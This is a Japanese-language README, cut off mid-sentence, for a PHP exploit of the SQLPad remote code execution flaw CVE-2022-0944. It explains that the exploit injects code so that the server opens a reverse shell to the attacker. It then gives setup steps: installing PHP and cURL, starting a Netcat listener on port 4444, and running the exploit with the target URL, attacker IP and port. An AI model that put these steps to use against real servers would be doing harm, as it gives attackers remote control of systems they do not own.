SQLPad-RCE-Exploit-CVE-2022-0944

動作の仕組み:

このPHPコードは、SQLPadにおけるリモートコード実行（RCE）の脆弱性（CVE-2022-0944）を悪用するために設計されています。
SQLPadアプリケーションに悪意のあるコードを注入し、脆弱なシステムのリモート制御を攻撃者に与える接続であるリバースシェルを開くシステムコマンドを実行させます。

前提条件:

• PHP CLI – sudo apt-get install php-cli
• cURL（PHP cURLライブラリ） – sudo apt-get install php-curl

使用方法:

1. リスナーのセットアップ（攻撃者マシン上）

リバースシェル接続をキャプチャするには、攻撃者のマシンでNetcatを起動します:

nc -lvnp 4444

エクスプロイトを実行する

php exploit.php <root_url> <attacker_ip> <attacker_port>

<root_url>: 脆弱なSQLPadのルートURL（例: